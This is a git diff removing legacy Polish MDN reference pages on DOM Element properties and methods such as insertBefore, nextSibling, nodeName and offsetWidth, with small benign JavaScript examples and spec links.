diff --git a/files/pl/web/api/element/haschildnodes/index.html b/files/pl/web/api/element/haschildnodes/index.html deleted file mode 100644 index e21f22dedf..0000000000 --- a/files/pl/web/api/element/haschildnodes/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: element.hasChildNodes -slug: Web/API/Element/hasChildNodes -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/Node/hasChildNodes ---- -

{{ ApiRef() }}

-

Podsumowanie

-

hasChildNodes zwraca wartość logiczną określającą, czy element posiada dzieci czy nie.

-

Składnia

-
[ true | false ] = element.hasChildNodes()
-
-

Przykład

-
t1 = document.getElementById("table-data");
-if ( t1.hasChildNodes() ) {
-    // tabela ma dzieci }
-
-

Uwagi

-

Zauważ, że składnia element.hasChildNodes - bez nawiasów () - jest nieprawidłowa. Takie użycie zawsze zwraca true, oznaczające, że metoda o tej nazwie jest dostępna w obiekcie. Nie daj się nabrać.

-

Specyfikacja

-

hasChildNodes

-
-  
-

{{ languages( { "en": "en/DOM/element.hasChildNodes", "fr": "fr/DOM/element.hasChildNodes", "ja": "ja/DOM/element.hasChildNodes" } ) }}

diff --git a/files/pl/web/api/element/insertbefore/index.html b/files/pl/web/api/element/insertbefore/index.html deleted file mode 100644 index 27c40ad945..0000000000 --- a/files/pl/web/api/element/insertbefore/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: element.insertBefore -slug: Web/API/Element/insertBefore -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/Node/insertBefore ---- -

{{ ApiRef() }}

- -

Podsumowanie

- -

Wstawia określony węzeł przed danym elementem jako dziecko aktualnego węzła.

- -

Składnia

- -
var wstawionyElement =elementRodzic.insertBefore(nowyElement,danyElement)
-
- -

Jeżeli danyElement ma wartość null, nowyElement jest wstawiany na końcu listy węzłów potomnych.

- - - -

Przykład

- -
 <html>
-
- <head>
- <title>Gecko DOM insertBefore test</title>
- </head>
-
- <body>
- <div>
-   <span id="childSpan">foo bar</span>
- </div>
-
- <script type="text/javascript">
- // tworzy pusty węzeł elementu
- // bez ID, jakichkolwiek atrybutów lub jakiejkolwiek zawartości
- var sp1 = document.createElement("span");
-
- // daje to atrybut id nazwany 'newSpan'
- sp1.setAttribute("id", "newSpan");
-
- // tworzy jakąś zawartość dla nowo powstałego elementu.
- var sp1_content = document.createTextNode("Jest to nowy element span. ");
-
- // zwraca się, która treść ma być do nowego elementu.
- sp1.appendChild(sp1_content);
-
- var sp2 = document.getElementById("childSpan");
- var parentDiv = sp2.parentNode;
-
- // wstawia nowy element do DOM przed sp2
- parentDiv.insertBefore(sp1, sp2);
- </script>
-
- </body>
- </html>
-
- -

Nie istnieje metoda insertAfter, jednak można ją emulować poprzez kombinację insertBefore oraz nextSibling.

- -

W powyższym przykładzie, sp1 może zostać wstawiona za sp2 przy użyciu:

- -
parentDiv.insertBefore(sp1, sp2.nextSibling);
-
- -

Jeżeli sp2 nie posiada następnego rodzeństwa i musi być ostatnim potomnym —sp2.nextSibling to zwróci null więc sp1 będzie wstawione na końcu listy węzłów potomnych (np. natychmiast po sp2).

- -

Specyfikacja

- -

insertBefore

- -

 

- -
 
- -

{{ languages( { "en": "en/DOM/element.insertBefore", "fr": "fr/DOM/element.insertBefore", "ja": "ja/DOM/element.insertBefore", "pt": "pt/DOM/element.insertBefore" } ) }}

diff --git a/files/pl/web/api/element/lang/index.html b/files/pl/web/api/element/lang/index.html deleted file mode 100644 index 446c0817b9..0000000000 --- a/files/pl/web/api/element/lang/index.html +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: element.lang -slug: Web/API/Element/lang -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/HTMLElement/lang ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Własność ta pozwala pobrać lub ustawić język bazowy wartości atrybutów i treści elementu.

-

Składnia i wartości

-
var languageUsed = elementNodeReference.lang;
-elementNodeReference.lang = NewLanguage;
-
- -

Przykład

-
// poniższy fragment kodu porównuje język bazowy i odsyła
-// do innych URL na podstawie odczytanego kodu języka
-if (document.documentElement.lang == "en")
-   {
-    window.location.href = "Some_document.html.en";
-   }
-else if(document.documentElement.lang == "ru")
-   {
-    window.location.href = "Some_document.html.ru";
-   };
-
-

Uwagi

-

Kod języka zwracany przez w/w właściwość zgodny jest z kodami zdefiniowanymi w dokumencie RFC 1766. Przykładowo: "en" dla języka angielskiego, "ja" dla japońskiego, "es" dla hiszpańskiego itd. Domyślna wartość atrybutu to unknown. Wartość tego atrybutu ustawiana jest zwykle dla podstawowego (najwyższego) elementu dokumentu.

-

Specyfikacja

-

W3C DOM Level 2 HTML: lang

-
-  
-

{{ languages( { "en": "en/DOM/element.lang", "fr": "fr/DOM/element.lang", "ja": "ja/DOM/element.lang" } ) }}

diff --git a/files/pl/web/api/element/lastchild/index.html b/files/pl/web/api/element/lastchild/index.html deleted file mode 100644 index 34475c02d7..0000000000 --- a/files/pl/web/api/element/lastchild/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: element.lastChild -slug: Web/API/Element/lastChild -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/Node/lastChild ---- -

{{ ApiRef() }}

-

Podsumowanie

-

lastChild zwraca ostatnie dziecko węzła.

-

Składnia i wartości

-
ostatnieDziecko = element.lastChild
-
-

ostatnieDziecko to węzeł. Jeśli jego rodzicem jest element, dzieckiem jest na ogół węzeł elementu, komentarza lub węzeł tekstowy.

-

Przykład

-
tr = document.getElementById("row1");
-td_róg = tr.lastChild;
-
-

Uwagi

-

Jeżeli nie ma węzłów potomnych, zwracane jest null.

-

Specyfikacja

-

lastChild

-
-  
-

{{ languages( { "en": "en/DOM/element.lastChild", "fr": "fr/DOM/element.lastChild", "ja": "ja/DOM/element.lastChild" } ) }}

diff --git a/files/pl/web/api/element/length/index.html b/files/pl/web/api/element/length/index.html deleted file mode 100644 index ce5e1345ef..0000000000 --- a/files/pl/web/api/element/length/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: element.length -slug: Web/API/Element/length -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/NodeList/length ---- -

{{ ApiRef() }}

-

Podsumowanie

-

length zwraca liczbę elementów listy.

-

Składnia

-
liczbaElementów = nodeList.length
-
-

Parametry

- -

Przykład

-
// wszystkie paragrafy z dokumentu
-items = document.getElementsByTagName("p");
-// są jakieś?
-if ( items.length ) {
-     // dodaj HTML z każdego elemntu listy
-     for (var i = 0; i < items.length; i++) {
-         gross += items[0].innerHTML;
-         // gross zawiera teraz cały HTML z paragrafów
-     }
-}
-
-

Uwagi

-

Właściwość length jest bardzo częsta w programowaniu z użyciem DOM. Używa się jej by sprawdzić, czy lista zawiera elementy oraz w pętli for, jak w powyższym przykładzie.

-

Specyfikacja

-

length

-

{{ languages( { "en": "en/DOM/element.length", "ja": "ja/DOM/element.length" } ) }}

diff --git a/files/pl/web/api/element/localname/index.html b/files/pl/web/api/element/localname/index.html deleted file mode 100644 index 55b5649e31..0000000000 --- a/files/pl/web/api/element/localname/index.html +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: element.localName -slug: Web/API/Element/localName -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/Node/localName ---- -

{{ ApiRef() }}

-

Podsumowanie

-

localName zwraca lokalną część uściślonej nazwy węzła.

-

Składnia

-
nazwa = element.localName
-
-

Parametry

- -

Przykład

-

(Musi obsługiwać treść XML typu, jak <tt>text/xml</tt> lub <tt>application/xhtml+xml</tt>.)

-
<html xmlns="http://www.w3.org/1999/xhtml"
-      xmlns:svg="http://www.w3.org/2000/svg">
-<head>
-  <script><![CDATA[
-  function test() {
-    var text = document.getElementById('text');
-    var circle = document.getElementById('circle');
-
-    text.value = "<svg:circle> has:\n" +
-                 "localName = '" + circle.localName + "'\n" +
-                 "namespaceURI = '" + circle.namespaceURI + "'";
-  }
-  ]]></script>
-</head>
-<body onload="test()">
-  <textarea id="text" rows="4" cols="55"/>
-  <svg:svg version="1.1"
-    style="width:100%; height:100%; position:absolute; top:0; left:0; z-index:0;"
-    viewBox="0 0 100 100">
-    <svg:circle cx="50" cy="50" r="30" style="fill:#aaa" id="circle"/>
-  </svg:svg>
-</body>
-</html>
-
-

Uwagi

-

Dla węzłów typu innego niż ELEMENT_NODE i ATTRIBUTE_NODE oraz dla węzłów utworzonych za pomocą metod DOM Level 1, jak na przykład document.createElement, własność ta ma zawsze wartość NULL.

-

localname węzła to ta część uściślonej nazwy węzła, która znajduje się po dwukropku. Uściślone nazwy są zwykle używane w XML jako część przestrzeni nazw w poszczególnych dokumentach XML. Na przykład w uściślonej nazwie "ecomm:partners" nazwa lokalna to "partners", a "ecomm" to prefiks.

-
<ecomm:business id="soda_shop" type="brick_n_mortar">
-  <ecomm:partners>
-    <ecomm:partner id="1001">Tony's Syrup Warehouse
-    </ecomm:partner>
-  </ecomm:partner>
-</ecomm:business>
-
-

Prefiks - w tym wypadku "ecomm" - określa przestrzeń nazw, w której można użyć nazwy lokalnej.

-

Zobacz także

-

element.namespaceURI

-

Specyfikacja

-

localName

-
-  
-

{{ languages( { "en": "en/DOM/element.localName", "fr": "fr/DOM/element.localName", "ja": "ja/DOM/element.localName" } ) }}

diff --git a/files/pl/web/api/element/name/index.html b/files/pl/web/api/element/name/index.html deleted file mode 100644 index 3923721e2a..0000000000 --- a/files/pl/web/api/element/name/index.html +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: element.name -slug: Web/API/Element/name -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API -translation_of_original: Web/API/Element/name ---- -

{{ ApiRef() }}

-

Podsumowanie

-

name pobiera lub ustawia atrybut name obiektu DOM. Ma zastosowanie tylko dla poniższych elementów: anchor, applet, form, frame, iframe, image, input, map, meta, object, option, param, select i textarea.

-

name można wykorzystać w metodzie getElementsByName, w obiekcie form i w kolekcji elements. Jeśli zostanie użyta dla formularza lub kolekcji elementów, właściwość tak może zwrócić jeden element lub ich kolekcję.

-

Składnia

-
HTMLElement.name = string;
-var elName = HTMLElement.name;
-
-var kontrolka = HTMLFormElement.nazwaElementu;
-var kolekcjaKontrolek = HTMLFormElement.elements.nazwaElementu;
-
-

Przykład

-
<form action="" name="formA">
-  <input type="text" value="foo">
-</form>
-
-<script type="text/javascript">
-
-  // pobierz referncję do pierwszego elementu formularza
-  var formElement = document.forms['formA'].elements[0];
-
-  // nadaj mu nazwę
-  formElement.name = 'inputA';
-
-  // i wyświetl jego wartość
-  alert(document.forms['formA'].elements['inputA'].value);
-
-</script>
-
-

uwagi

-

W przeglądarce Internet Explorer (IE) nie można modyfikować właściwości name obiektów DOM utworzonych za pomocą createElement.

-

Specyfikacja

-

Specyfikacja W3C DOM 2 HTML:

- -

{{ languages( { "en": "en/DOM/element.name", "ja": "ja/DOM/element.name", "fr": "fr/DOM/element.name" } ) }}

diff --git a/files/pl/web/api/element/namespaceuri/index.html b/files/pl/web/api/element/namespaceuri/index.html deleted file mode 100644 index 9f252ba570..0000000000 --- a/files/pl/web/api/element/namespaceuri/index.html +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: element.namespaceURI -slug: Web/API/Element/namespaceURI -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/Node/namespaceURI ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Zwraca URI przestrzeni nazw tego węzła lub NULL, jeśli jej nie określono.

-

Składnia

-
przestrzeńNazw = element.namespaceURI
-
-

Parametry

- -

Przykład

-

W poniższym wycinku kodu sprawdzane są localName i namespaceURI węzła. Jeśli namespaceURI jest zgodny ze zmienną zawierającą przestrzeń nazw dla XUL, węzeł jest uznawany za widget <browser /> w języku XUL.

-
if (node.localName == "browser"
-    && node.namespaceURI == kXULNSURI) {
-// xul browser
-this.viewee = node.webNavigation.document;
-//...
-}
-
-

Uwagi

-

Nie jest to wyznaczona wartość, będąca rezultatem przeszukiwania w oparciu o deklaracje przestrzeni nazw w zakresie, w jakim znajduje się element. Jest to jedynie URI takiej przestrzeni nazw, jaką nadano w momencie tworzenia elementu.

-

Dla węzłow typów innych niż ELEMENT_NODE i ATTRIBUTE_NODE oraz węzłów utworzonych metodami DOM Level 1, jak document.createElement, wartość tej właściwości to zawsze NULL.

-

Zgodnie ze specyfikacją Namespaces in XML atrybut nie dziedziczy przestrzeni nazw po elemencie, do którego jest przypisany. Jeśli atrybut nie ma bezpośrednio nadanej przestrzeni nazw, po prostu nie należy do żadnej przestrzeni.

-

Specyfikacja

-

namespaceURI

-

Przestrzenie nazw XML

-
-  
-

{{ languages( { "en": "en/DOM/element.namespaceURI", "fr": "fr/DOM/element.namespaceURI", "ja": "ja/DOM/element.namespaceURI" } ) }}

diff --git a/files/pl/web/api/element/nextsibling/index.html b/files/pl/web/api/element/nextsibling/index.html deleted file mode 100644 index 17f1822a56..0000000000 --- a/files/pl/web/api/element/nextsibling/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: element.nextSibling -slug: Web/API/Element/nextSibling -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/Node/nextSibling ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Zwraca węzeł znajdujący się w drzewie bezpośrednio za węzłem bieżącym.

-

Składnia i wartości

-
następnyElement = element.nextSibling
-
-

następnyElement to węzeł bezpośrednio następny w liście rodzeństwa (np. liście dzieci węzła parentNode). Następnym węzłem jest na ogół węzeł elementu, komentarza lub węzeł tekstowy.

-

Przykład

-
<div id="div-01">Here is div-01</div>
-<div id="div-02">Here is div-02</div>
-
-<script type="text/javascript">
-  var el = document.getElementById('div-01').nextSibling;
-  document.write('<p>Rodzeństwo div-01</p><ol>');
-  while (el) {
-    document.write('<li>' + el.nodeName + '</li>');
-    el = el.nextSibling;
-  }
-  document.write('</ol>');
-</script>
-
-/**************************************************
-  Po załadowaniu zostanie dopisane do strony:
-
-     Rodzeństwo div-01
-
-      1. #text
-      2. DIV
-      3. #text
-      4. SCRIPT
-      5. P
-      6. OL
-**************************************************/
-
-

Węzły tekstowe - #text - są w powyższym przykładzie wstawiane do modelu dokumentu w miejsce białych znaków między elementami (np. po znaczniku zamykającym jeden element, ale przed znacznikiem otwierającym następny element). Białe znaki nie są wstawiane przy wywołaniu document.write.

-

Poniższy przykład pokazuje, jak białe znaki wpływają na sąsiednie węzły komórek tabeli:

-
<table>
-  <tr>
-    <td id="cell1">cell1</td>
-    <td id="cell2">cell2</td>
-  </tr>
-  <tr>
-    <td id="cell3">cell3</td><td id="cell4">cell4</td></tr>
-</table>
-
-

nextSibling cell1 to węzeł tekstowy. Między komórkami drugiego rzędu tabeli nie ma białych znaków, dlatego rodzeństwo cell3 to tylko cell4. Podczas przechodzenia przez model dokumentu za pomocą nextSibling należy liczyć się z możliwością wystąpienia węzłów tekstowych.

-

Uwagi

-

Zwraca null, kiedy nie ma już więcej węzłów.

-

Specyfikacja

-

nextSibling

-
-  
-

{{ languages( { "en": "en/DOM/element.nextSibling", "fr": "fr/DOM/element.nextSibling", "ja": "ja/DOM/element.nextSibling" } ) }}

diff --git a/files/pl/web/api/element/nodename/index.html b/files/pl/web/api/element/nodename/index.html deleted file mode 100644 index 93a54424a6..0000000000 --- a/files/pl/web/api/element/nodename/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: element.nodeName -slug: Web/API/Element/nodeName -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/Node/nodeName ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Zwraca nazwę węzła jako ciąg znaków.

-

Składnia

-
nazwa = element.nodeName
-
-

- - nazwa - to ciąg znaków reprezentujący nazwę bieżącego elementu. nodeName to atrybut tylko do odczytu.

-

Uwagi

-

Poniżej przedstawione są wartości zwracane dla różnych typów węzłów:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
InterfejsnodeName
Attrtak samo jak Attr.name
CDATASection"#cdata-section"
Comment"#comment"
Document"#document"
DocumentFragment"#document-fragment"
DocumentTypetak samo jak DocumentType.name
Elementtak samo jak Element.tagName
Entitynazwa encji
EntityReferencenazwa refernecji do encji
Notationnazwa notacji
ProcessingInstructiontak samo jak ProcessingInstruction.target
Text"#text"
-

Przykład

-

Dane są poniższe znaczniki

-
<div id="d1">hello world</div>
-<input type="text" id="t"/>
-
-

i taki skrypt:

-
var div1 = document.getElementById("d1");
-var poleTekstowe = document.getElementById("t");
-poleTekstowe.value = div1.nodeName;
-
-

W XHTML-u (lub innym formacie XML) wartość pola tekstowego to "div". W HTML wartość ta to "DIV".

-

Zauważ, że można było użyć właściwości tagName, ponieważ dla elementów nodeName ma taką samą wartość jak tagName.

-

Specyfikacja

-

W3C DOM Level 2 Core: nodeName

-

W3C DOM Level 3 Core: nodeName

-

 

-

 

-
-  
-

{{ languages( { "en": "en/DOM/element.nodeName", "es": "es/DOM/element.nodeName", "fr": "fr/DOM/element.nodeName", "it": "it/DOM/element.nodeName", "ja": "ja/DOM/element.nodeName" } ) }}

diff --git a/files/pl/web/api/element/nodetype/index.html b/files/pl/web/api/element/nodetype/index.html deleted file mode 100644 index 8f3825ea86..0000000000 --- a/files/pl/web/api/element/nodetype/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: element.nodeType -slug: Web/API/Element/nodeType -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/Node/nodeType ---- -
- {{ApiRef}}
-

Podsumowanie

-

Zwraca kod reprezentujący typ węzła.

-

Składnia

-
typ = document.nodeType
-
-

typ jest zmienną liczbową typu unsigned short o jednej z poniższych wartości:

- -

Przykład

-

Ten przykład sprawdza czy pierwszy węzeł wewnątrz elementu document jest comment node, i jeśli nie jest, wyświetli wiadomość.

-
var node = document.documentElement.firstChild;
-
-if(node.nodeType != Node.COMMENT_NODE)
-  alert("You should comment your code well!");
-
-

Specyfikacja

- diff --git a/files/pl/web/api/element/nodevalue/index.html b/files/pl/web/api/element/nodevalue/index.html deleted file mode 100644 index 205871bba3..0000000000 --- a/files/pl/web/api/element/nodevalue/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: Node.nodeValue -slug: Web/API/Element/nodeValue -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/Node/nodeValue ---- -
- {{APIRef}}
-
-  
-
- Podsumowanie
-

Zwraca wartość bieżącego węzła.

-

Składnia

-
wartość = document.nodeValue
-
-

wartość to ciąg znaków reprezentujący wartość elementu, jeśli taka istnieje.

-

Uwagi

-

Dla dokumentu nodeValue zwraca null. Dla węzłów tekstowych, komentarzy i CDATA nodeValue zwraca zawartość węzła. Dla węzłów atrybutów, zwracana jest wartość atrybutu.

-

Poniższa tabela przedstawia wartości zwracane dla różnych interfejsów:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
InterfejsnodeValue
Attrwartość atrybutu
CDATASectiontreść sekcji CDATA
Commenttreść komentarza
Documentnull
DocumentFragmentnull
DocumentTypenull
Elementnull
NamedNodeMapnull
EntityReferencenull
Notationnull
ProcessingInstructioncała treść, wyłączając cel
Texttreść węzła tekstowego
-

Jeśli nodeValue z definicji ma wartość null, ustawianie tej właściwości nie będzie mieć efektu.

-

Specyfikacja

- diff --git a/files/pl/web/api/element/normalize/index.html b/files/pl/web/api/element/normalize/index.html deleted file mode 100644 index 4dac3822cc..0000000000 --- a/files/pl/web/api/element/normalize/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: element.normalize -slug: Web/API/Element/normalize -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/Node/normalize ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Metoda zapisuje określony węzeł i całe jego poddrzewo w "znormalizowanej" formie. W znormalizowanym poddrzewie żaden węzeł tekstowy nie jest pusty, nie ma również sąsiednich węzłów tekstowych.

-

Składnia

-
element.normalize()
-
-

Uwagi

-

Specyfikacja

-

DOM Level 2 Core: Node.normalize

-
-  
-

{{ languages( { "en": "en/DOM/element.normalize", "fr": "fr/DOM/element.normalize" } ) }}

diff --git a/files/pl/web/api/element/offsetheight/index.html b/files/pl/web/api/element/offsetheight/index.html deleted file mode 100644 index ce5fc2254e..0000000000 --- a/files/pl/web/api/element/offsetheight/index.html +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: element.offsetHeight -slug: Web/API/Element/offsetHeight -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Strony_wymagające_dopracowania - - Wszystkie_kategorie -translation_of: Web/API/HTMLElement/offsetHeight ---- -

{{ ApiRef() }}

- -

offsetHeight

- -

Własność DHTML (Dynamic HyperText Markup Language), która daje wysokość relatywnego elementu do układu strony.

- -

Składnia i wartości

- -
varintElemOffsetHeight = document.getElementById(id_attribute_value).offsetHeight;
-
- -

intElemOffsetHeightis a variable storing an integer corresponding to the offsetHeight pixel value of the element. offsetHeight is a read-only property.

- -

Opis

- -

Typically, an element's offsetHeight is a measurement which includes the element borders, the element vertical padding, the element horizontal scrollbar (if present, if rendered) and the element CSS height.

- -

Przykład

- -
-
-

padding-top

- -

Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.

- -

Image:BirmanCat.jpgAll Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.

- -

Cat image and text coming from www.best-cat-art.com

- -

padding-bottom

-
-LeftTopRightBottommargin-topmargin-bottomborder-topborder-bottom{{ mediawiki.external('if IE') }}><span id="MrgLeft" style="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-left</span><span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-left</span><span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">padding-left</span><span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;">padding-right</span><span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-right</span><span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-right</span><!{{ mediawiki.external('endif') }}
- -

grafika:offsetHeight.png

- -

Specyfikacja

- -

offsetHeight is part of the MSIE's DHTML object model. offsetHeight is not part of any W3C specification or technical recommendation.

- -

Uwagi

- -

offsetHeight is a property of the DHTML object model which was first introduced by MSIE. It is sometimes referred as an element physical/graphical dimensions or an element's box height.

- -

Dokumentacja

- - diff --git a/files/pl/web/api/element/offsetleft/index.html b/files/pl/web/api/element/offsetleft/index.html deleted file mode 100644 index b0252f3363..0000000000 --- a/files/pl/web/api/element/offsetleft/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: element.offsetLeft -slug: Web/API/Element/offsetLeft -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Strony_wymagające_dopracowania - - Wszystkie_kategorie -translation_of: Web/API/HTMLElement/offsetLeft ---- -

{{ ApiRef("HTML DOM") }}

- -

Podsumowanie

- -

Zwraca ilość pikseli, jaką dzieligórny lewy róg bieżącego elementu od lewej strony wewnątrz węzła offsetParent.

- -

Składnia

- -
left =element.offsetLeft;
-
- -

left jest liczbą całkowitą reprezentująca przesunięcie od lewej strony podane w pikselach.

- -

Uwaga

- -

offsetLeft returns the position the upper left edge of the element; not necessarily the 'real' left edge of the element. This is important for inline elements (such as span) in flowed text that wraps from one line to the next. The span may start in the middle of the line and wrap around to the beginning of the next line. The offsetLeft will refer to the left edge of the start of the span, not the left edge of text at the start of the second line. Therefore, a box with the left, top, width and height of offsetLeft, offsetTop, offsetWidth and offsetHeight will not be a bounding box for a span with wrapped text. (And, I can't figure out how to find the leftmost edge of such a span, sigh.)

- -

Przykład

- -
var colorTable = document.getElementById("t1");
-var tOLeft = colorTable.offsetLeft;
-
-if (tOLeft > 5) {
-  // duże lewe przesunięcie: zrób coś tutaj
-}
-
- -

Przykład

- -

Per the note above, this example shows a 'long' sentence that wraps within a div with a blue border, and a red box that one might think should describe the boundaries of the span.

- -

Image:offsetLeft.jpg

- -

Note: This is an image of the example, not a live rendering in the browser. This was done because script elements can't be included in the wiki page.

- -
<div style="width: 300px; border-color:blue;
-  border-style:solid; border-width:1;">
-  <span>Short span. </span>
-  <span id="long">Long span that wraps withing this div.</span>
-</div>
-
-<div id="box" style="position: absolute; border-color: red;
-  border-width: 1; border-style: solid; z-index: 10">
-</div>
-
-<script>
-  var box = document.getElementById("box");
-  var long = document.getElementById("long");
-  box.style.left = long.offsetLeft + document.body.scrollLeft;
-  box.style.top = long.offsetTop + document.body.scrollTop;
-  box.style.width = long.offsetWidth;
-  box.style.height = long.offsetHeight;
-</script>
-
- -

Zobacz także

- -

offsetParent, offsetTop, offsetWidth, offsetHeight

- -

Specyfikacja

- -

Niestandardowa własność.

diff --git a/files/pl/web/api/element/offsetparent/index.html b/files/pl/web/api/element/offsetparent/index.html deleted file mode 100644 index c33d32b38c..0000000000 --- a/files/pl/web/api/element/offsetparent/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: element.offsetParent -slug: Web/API/Element/offsetParent -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/HTMLElement/offsetParent ---- -

{{ ApiRef() }}

-

Podsumowanie

-

offsetParent zwraca referencję do obiektu, który jest najbliższym (w hierarchii zawierania się elementów) pozycjonowanym elementem. Jeżeli element nie jest pozycjonowany, offsetParent jest wówczas korzeń dokumentu (html w trybie zgodności ze standardami; body w trybie przybliżonym).

-

Składnia

-
parentObj = element.offsetParent
-
-

Parametry

- -

Specyfikacja

-

DOM Level 0. - - Nie jest częścią specyfikacji. -

-
-  
-

{{ languages( { "en": "en/DOM/element.offsetParent", "fr": "fr/DOM/element.offsetParent" } ) }}

diff --git a/files/pl/web/api/element/offsetwidth/index.html b/files/pl/web/api/element/offsetwidth/index.html deleted file mode 100644 index b78d7b4136..0000000000 --- a/files/pl/web/api/element/offsetwidth/index.html +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: element.offsetWidth -slug: Web/API/Element/offsetWidth -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Strony_wymagające_dopracowania - - Wszystkie_kategorie -translation_of: Web/API/HTMLElement/offsetWidth ---- -

{{ APIRef("HTML DOM") }}

- -

offsetWidth

- -

właściwość DHTML, która podaje szerokość elementu, odnosząca się do układu strony.

- -

Składnia i wartości

- -
var intElemOffsetWidth = document.getElementById(id_attribute_value).offsetWidth;
-
- -

intElemOffsetWidth jest zmienną przechowującą liczbę całkowitą odpowiadającą wartości offsetWidth elementu i wyrażoną w pikselach. offsetWidth jest właściwością tylko do odczytu.

- -

Opis

- -

Zazwyczaj offsetWidth elementu obejmuje jego obramowanie, wewnętrzny margines (padding), pionowy pasek przewijania (jeśli jest obecny lub renderowany) i szerokość CSS elementu.

- -

Przykład

- -
-
-

padding-top

- -

Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.

- -

Image:BirmanCat.jpgAll Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.

- -

Cat image and text coming from www.best-cat-art.com

- -

padding-bottom

-
-LeftTopRightBottommargin-topmargin-bottomborder-topborder-bottom{{ mediawiki.external('if IE') }}><span id="MrgLeft" style="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-left</span><span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-left</span><span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">padding-left</span><span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;">padding-right</span><span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-right</span><span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-right</span><!{{ mediawiki.external('endif') }}
- -

Image:offsetWidth.png

- -

Specyfikacja

- -

offsetWidth jest częścią modelu obiektowego MSIE DHTML. offsetWidth nie jest częścią żadnej specyfikacji W3C ani rekomendacji technicznej.

- -

Uwagi

- -

offsetWidth jest własnością modelu obiektowego DHTML, który został wprowadzony przez MSIE. Czasem określany jest jako fizyczny/graficzny wymiar elementu lub jako szerokość pudełka elementu.

- -

Dokumentacja

- - - -
-

Zobacz również

-
